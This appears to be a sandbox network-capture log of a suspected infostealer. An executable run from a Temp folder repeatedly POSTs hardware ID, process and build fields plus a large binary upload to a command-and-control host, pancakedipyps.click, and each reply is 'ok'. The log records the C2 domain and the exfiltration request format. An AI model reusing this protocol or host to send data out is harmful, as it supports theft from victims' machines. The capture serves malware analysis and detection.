2024-12-18 08:07:20 UTC	1369	IN	Data Raw: 31 38 63 35 0d 0a 4f 69 6c 65 4f 30 78 6f 33 73 5a 4f 6d 78 78 75 42 32 47 49 62 34 6b 73 44 71 39 61 30 38 75 6d 52 30 45 54 37 31 2f 6c 53 57 35 6d 65 67 68 72 44 48 6a 76 67 30 50 63 53 6d 41 66 50 49 5a 33 6f 69 77 65 72 79 4b 65 6d 61 77 42 47 6b 58 5a 47 39 56 35 52 33 64 74 51 45 49 62 50 4d 53 50 52 35 6b 6b 4a 55 73 30 68 6d 48 62 61 68 61 33 54 5a 36 5a 73 46 41 43 58 62 78 4b 67 43 49 54 4e 69 78 66 63 31 49 6a 67 5a 34 58 67 31 68 67 48 79 47 47 64 39 73 72 56 66 30 50 31 74 71 69 51 67 55 37 30 68 76 4e 65 6b 39 71 66 54 4e 53 4d 6a 66 41 69 31 6d 5a 4f 7a 68 53 49 38 55 71 6e 46 4a 6f 34 52 72 45 33 72 70 48 51 6b 57 69 57 4e 51 33 47 46 67 38 52 53 77 6a 64 49 47 51 46 34 4e 4b 47 31 77 39 79 43 69 4e 66 52 76 4d 43 39 33 57 76 30 41 43 53 Data Ascii: 18c5OileO0xo3sZOmxxuB2GIb4ksDq9a08umR0ET71/lSW5meghrDHjvg0PcSmAfPIZ3oiweryKemawBGkXZG9V5R3dtQEIbPMSPR5kkJUs0hmHbaha3TZ6ZsFACXbxKgCITNixfc1IjgZ4Xg1hgHyGGd9srVf0P1tqiQgU70hvNek9qfTNSMjfAi1mZOzhSI8UqnFJo4RrE3rpHQkWiWNQ3GFg8RSwjdIGQF4NKG1w9yCiNfRvMC93Wv0ACS
2024-12-18 08:07:20 UTC	1369	IN	Data Raw: 30 55 6e 4e 36 44 6e 6f 66 66 66 2b 32 63 4e 55 4e 4c 30 6b 6a 79 79 4f 36 62 30 66 6c 49 2b 37 4d 74 30 39 4d 41 76 6f 4a 6d 7a 6b 41 62 6a 78 56 56 56 78 79 67 62 63 5a 6d 78 4a 75 42 33 50 7a 4c 4a 56 69 55 66 6b 4d 6e 66 36 36 52 6b 4d 54 2f 42 58 58 56 6b 4e 77 64 6b 30 69 58 44 79 42 30 41 57 56 53 69 70 4f 63 35 35 2f 79 54 63 44 76 45 71 41 69 36 73 50 57 30 58 36 57 49 4d 6c 44 69 46 75 54 54 52 63 66 63 4b 61 52 64 30 4a 4f 46 78 30 2b 42 47 2b 65 31 58 2f 47 39 50 6e 69 6d 70 4f 41 2b 73 43 33 48 46 6d 51 54 78 44 4c 42 4e 36 6d 62 45 58 6b 30 6f 52 45 58 50 65 62 38 4d 73 59 2b 77 54 33 74 36 69 55 41 38 67 2b 78 76 4c 63 55 4d 68 4d 6b 31 71 58 47 4b 52 78 68 66 66 47 32 34 48 59 35 52 30 7a 6a 38 42 76 30 2f 50 6c 36 30 42 56 45 57 30 53 70 Data Ascii: 0UnN6Dnofff+2cNUNL0kjyyO6b0flI+7Mt09MAvoJmzkAbjxVVVxygbcZmxJuB3PzLJViUfkMnf66RkMT/BXXVkNwdk0iXDyB0AWVSipOc55/yTcDvEqAi6sPW0X6WIMlDiFuTTRcfcKaRd0JOFx0+BG+e1X/G9PnimpOA+sC3HFmQTxDLBN6mbEXk0oREXPeb8MsY+wT3t6iUA8g+xvLcUMhMk1qXGKRxhffG24HY5R0zj8Bv0/Pl60BVEW0Sp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49716	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:21 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0GDG4JITE956I1I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12827 Host: pancakedipyps.click
2024-12-18 08:07:21 UTC	12827	OUT	Data Raw: 2d 2d 30 47 44 47 34 4a 49 54 45 39 35 36 49 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 47 44 47 34 4a 49 54 45 39 35 36 49 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 47 44 47 34 4a 49 54 45 39 35 36 49 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 30 47 44 47 34 4a Data Ascii: --0GDG4JITE956I1IContent-Disposition: form-data; name="hwid"8C6F564B18682ACBAC8923850305D13E--0GDG4JITE956I1IContent-Disposition: form-data; name="pid"2--0GDG4JITE956I1IContent-Disposition: form-data; name="lid"FATE99--test--0GDG4J
2024-12-18 08:07:22 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=go0mcu27l2ggn6uqca2eplir5u; expires=Sun, 13-Apr-2025 01:54:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=inRECvnZLiLSCl10ts7Ed0O5JhaXCRVSNfJgzthd4uXcAu5IsWoH6BcU1sB7gxCL0SZoedyrg3BNsaXZqSl%2Brr4BoGc2sxdxUrsMQNAy3mRHrBe94D6Y%2FgbLD7pkRQOY1Pxj7qX4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da8aa1e6a425f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1632&min_rtt=1629&rtt_var=617&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2848&recv_bytes=13767&delivery_rate=1764350&cwnd=216&unsent_bytes=0&cid=ebdb50e7514a2512&ts=948&x=0"
2024-12-18 08:07:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49717	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:24 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PDMMS71LW4MB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15038 Host: pancakedipyps.click
2024-12-18 08:07:24 UTC	15038	OUT	Data Raw: 2d 2d 50 44 4d 4d 53 37 31 4c 57 34 4d 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 44 4d 4d 53 37 31 4c 57 34 4d 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 44 4d 4d 53 37 31 4c 57 34 4d 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 50 44 4d 4d 53 37 31 4c 57 34 4d 42 0d 0a 43 Data Ascii: --PDMMS71LW4MBContent-Disposition: form-data; name="hwid"8C6F564B18682ACBAC8923850305D13E--PDMMS71LW4MBContent-Disposition: form-data; name="pid"2--PDMMS71LW4MBContent-Disposition: form-data; name="lid"FATE99--test--PDMMS71LW4MBC
2024-12-18 08:07:24 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1mhbimabbmi9jtehmvsa0cu5uq; expires=Sun, 13-Apr-2025 01:54:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AVrlIV25yMRlhZhGSy0Qy%2Bu6czjSRku237cUZo0eFfDasgoOH%2FHoM80B4sbpPf6JGyN%2FTfUWqCrpWF6Cal%2BcAIR1gGEsiJZ6Lm2%2FHVkyHgg0EjFGeBwk8z3oWCpuIHWi7TpESiIi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da8b86c56431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2463&min_rtt=2426&rtt_var=984&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2848&recv_bytes=15975&delivery_rate=1071559&cwnd=224&unsent_bytes=0&cid=8cb0e2657bb06cbe&ts=939&x=0"
2024-12-18 08:07:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49718	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U6PTUBIO6NB4S8D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20223 Host: pancakedipyps.click
2024-12-18 08:07:26 UTC	15331	OUT	Data Raw: 2d 2d 55 36 50 54 55 42 49 4f 36 4e 42 34 53 38 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 36 50 54 55 42 49 4f 36 4e 42 34 53 38 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 36 50 54 55 42 49 4f 36 4e 42 34 53 38 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 55 36 50 54 55 42 Data Ascii: --U6PTUBIO6NB4S8DContent-Disposition: form-data; name="hwid"8C6F564B18682ACBAC8923850305D13E--U6PTUBIO6NB4S8DContent-Disposition: form-data; name="pid"3--U6PTUBIO6NB4S8DContent-Disposition: form-data; name="lid"FATE99--test--U6PTUB
2024-12-18 08:07:26 UTC	4892	OUT	Data Raw: 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-12-18 08:07:27 UTC	1050	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dltc5jl609fkncluvf3d3e3qme; expires=Sun, 13-Apr-2025 01:54:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uyv4DQrPNEKXg%2Fz34p9BV0Vc%2FeEwIzJygnz7Ox4FRm9haqBn%2FVLCck7C3FlxA%2BFRcy%2BzONYnHEYsPOJ3LYhqMMxE2tHQO%2BJMKP3UVSBK%2FdAjVAyU9lec7qDtl21%2BawONpOuukAzf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da8c8deaf435b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1724&rtt_var=659&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2848&recv_bytes=21185&delivery_rate=1644144&cwnd=214&unsent_bytes=0&cid=301bcbf65cedc6e7&ts=954&x=0"
2024-12-18 08:07:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49721	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:29 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ASEZOCF4S8JV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1206 Host: pancakedipyps.click
2024-12-18 08:07:29 UTC	1206	OUT	Data Raw: 2d 2d 41 53 45 5a 4f 43 46 34 53 38 4a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 53 45 5a 4f 43 46 34 53 38 4a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 53 45 5a 4f 43 46 34 53 38 4a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 41 53 45 5a 4f 43 46 34 53 38 4a 56 0d 0a 43 Data Ascii: --ASEZOCF4S8JVContent-Disposition: form-data; name="hwid"8C6F564B18682ACBAC8923850305D13E--ASEZOCF4S8JVContent-Disposition: form-data; name="pid"1--ASEZOCF4S8JVContent-Disposition: form-data; name="lid"FATE99--test--ASEZOCF4S8JVC
2024-12-18 08:07:30 UTC	1043	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ah3asfo236487g15kgqu83kgr8; expires=Sun, 13-Apr-2025 01:54:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BcUk%2BHi8YBF2P9ZY7m0763E0%2Fq7xEC%2BwBWNFnwk6ss7PhmK8qXoCFTvCs9aQ63XBFzO0BiDYxilpMVFq%2BQXXymuII820xvF8WqJvlrIoIr0%2FXdrxwNJB2UtZJkhbfnf65sQilgK0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da8dba9c04304-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1727&rtt_var=667&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2120&delivery_rate=1616832&cwnd=248&unsent_bytes=0&cid=282cce46b9d16939&ts=752&x=0"
2024-12-18 08:07:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49722	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YGK1W0IT8DWVTIQD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571381 Host: pancakedipyps.click
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: 2d 2d 59 47 4b 31 57 30 49 54 38 44 57 56 54 49 51 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 47 4b 31 57 30 49 54 38 44 57 56 54 49 51 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 47 4b 31 57 30 49 54 38 44 57 56 54 49 51 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 59 47 4b Data Ascii: --YGK1W0IT8DWVTIQDContent-Disposition: form-data; name="hwid"8C6F564B18682ACBAC8923850305D13E--YGK1W0IT8DWVTIQDContent-Disposition: form-data; name="pid"1--YGK1W0IT8DWVTIQDContent-Disposition: form-data; name="lid"FATE99--test--YGK
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: 72 f8 b1 cc 47 94 a6 49 74 73 56 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 f8 12 4a f2 0a fb 4a 31 24 a9 f4 f5 55 cb 8b 66 Data Ascii: rGItsVf16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4JJ1$Uf
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: 83 7c 64 fd 13 d6 aa b5 02 92 5e 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 1a f9 d5 c3 c0 a2 bc 23 f2 c1 7e ef a0 20 d8 af Data Ascii: \|d^?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6#~
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: 6f ee f7 af 0f f2 f2 df fa 13 0f a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e 3f 14 cd 0b 26 ca b3 35 d0 dd 3c cc 59 04 50 42 Data Ascii: oK_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).?&5<YPB
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: 66 04 1f 60 6d 68 ce 03 e4 1b 84 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a c0 82 48 45 6c 1e 5e 6a a7 23 88 ec 8b 3e d6 9b Data Ascii: f`mhDvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJHEl^j#>
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: 5f cf 8c 4c 84 f1 ec 5e d4 b1 86 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 04 fe 39 38 3e b1 4c 47 34 bc be 0d b6 cb 46 e5 Data Ascii: _L^~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr598>LG4F
